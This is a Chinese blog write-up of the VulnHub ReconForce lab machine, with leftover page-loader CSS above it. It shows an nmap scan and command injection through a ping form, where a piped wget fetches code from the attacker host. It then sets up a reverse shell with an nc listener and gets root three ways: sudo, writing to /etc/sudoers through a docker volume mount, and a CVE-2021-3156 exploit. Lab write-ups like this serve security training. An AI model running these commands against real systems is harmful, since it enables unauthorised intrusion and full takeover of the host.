#loading-box .loading-left-bg, #loading-box .loading-right-bg { position: fixed; z-index: 999998; width: 50%; height: 100%; background-color: rgb(81 81 81 / 80%); transition: all 0.7s cubic-bezier(0.42, 0, 0, 1.01); backdrop-filter: blur(10px); } #loading-box .loading-right-bg { right: 0; } #loading-box > .spinner-box { position: fixed; z-index: 999999; display: flex; justify-content: center; align-items: center; width: 100%; height: 100vh; } #loading-box .spinner-box .loading-word { position: absolute; color: #ffffff; font-size: 0.95rem; transform: translateY(64px); text-align: center; } p.loading-title { font-size: 1.25rem; margin: 20px 10px 4px 10px; } #loading-box .spinner-box .configure-core { width: 100%; height: 100%; background-color: #37474f; } div.loaded div.loading-left-bg { transform: translate(-100%, 0); } div.loaded div.loading-right-bg { transform: translate(100%, 0); } div.loaded div.spinner-box { display: none !important; } .loader { position: absolute; top: calc(50% - 32px); left: calc(50% - 32px); width: 64px; height: 64px; border-radius: 50%; perspective: 800px; transition: all 0.7s cubic-bezier(0.42, 0, 0, 1.01); } .inner { position: absolute; box-sizing: border-box; width: 100%; height: 100%; border-radius: 50%; } .inner.one { left: 0%; top: 0%; animation: rotate-one 1s linear infinite; border-bottom: 3px solid #efeffa; } .inner.two { right: 0%; top: 0%; animation: rotate-two 1s linear infinite; border-right: 3px solid #efeffa; } .inner.three { right: 0%; bottom: 0%; animation: rotate-three 1s linear infinite; border-top: 3px solid #efeffa; } @keyframes rotate-one { 0% { transform: rotateX(35deg) rotateY(-45deg) rotateZ(0deg); } 100% { transform: rotateX(35deg) rotateY(-45deg) rotateZ(360deg); } } @keyframes rotate-two { 0% { transform: rotateX(50deg) rotateY(10deg) rotateZ(0deg); } 100% { transform: rotateX(50deg) rotateY(10deg) rotateZ(360deg); } } @keyframes rotate-three { 0% { transform: rotateX(35deg) rotateY(55deg) rotateZ(0deg); } 100% { transform: rotateX(35deg) rotateY(55deg) rotateZ(360deg); }

vulnhub靶机(ReconForce)

一.信息收集:

使用nmap进行端口扫描,发现其开放了ftp,http,ssh服务

nmap -sS -O -sV -p- 192.168.80.142

访问其80端口发现是一个网页,点击TroubleShoot后发现其需要登录

在去尝试使用ftp的匿名登录发现无法执行任何命令,发现了他的欢迎语有点特别

在扫描目录后没有发现什么有价值的东西,只能尝试从网页进行登录,在尝试用户名为admin密码为Security@hackNos成功进行了登录

发现其是一个可以执行ping命令,还可以返回结果

二.漏洞探测:

我尝试使用管道符让他执行别的命令,发现可以成功执行并返回结果

三.漏洞利用:

使用python上传phpinf可以正常执行,在查看disable_functions发现它禁止所有命令执行函数

python3 -m http.server 80
192.168.80.130|wget http://192.168.80.130/inf.php

 

尝试直接执行反弹shell的命令发现没办法执行,那就尝试使用脚本让其执行

 我常见了一个shell.sh的脚本文件里面写入了反弹shell的脚本然后上传的目标机器上然后赋予权限在,攻击机上进行监听

192.168.80.130|chmod 777 shell.sh

 然后使用监听6666端口,执行脚本文件成功反弹shell

nc -lvnp 6666

四.提权:

查看passwd文件查看有哪些可以利用的用户

cat /etc/passwd | grep "/bin/bash"

尝试使用之前在ftp获取的密码登录recon用户,发现其可以登录

1.sudo提权:

通过查看发现它可以使用sudo以执行root权限执行所有目录

 成功拿到root权限

2.docker提权:

发现目标机器上安装有docker,发现其用户在docker组中可以执行docker目录

在目标机器上拉取一个ubuntu的镜像

 我们知道,在 docker 中我们是拥有 root 权限的,这也是为什么能够用 docker 进行提权的原因,docker 有个选项 -v 能够将 host 的目录映射到 docker 中访问,我们可以将 /etc 中的内容映射到 docker 的/etc 目录中实现覆盖,因为很多重要的文件都在 /etc 目录中(比如 passwd,sudoers ,groups)

 执行以下命令

docker run -it -v /etc:/etc ubuntu

在这个为了方便演示我创建了一个用户kevin ,然后在docker容器内执行以下命令

usermod -aG root kevin
echo "kevin ALL=(ALL) ALL" >> /etc/sudoers

切换kevin发现也可以完全属于sudo

 

3.CVE-2021-3156提权:

使用poc 上传到目标上执行成功拿到root权限

posted @ 2025-01-21 00:00  生命予夺  阅读(7)  评论(0)    收藏  举报  来源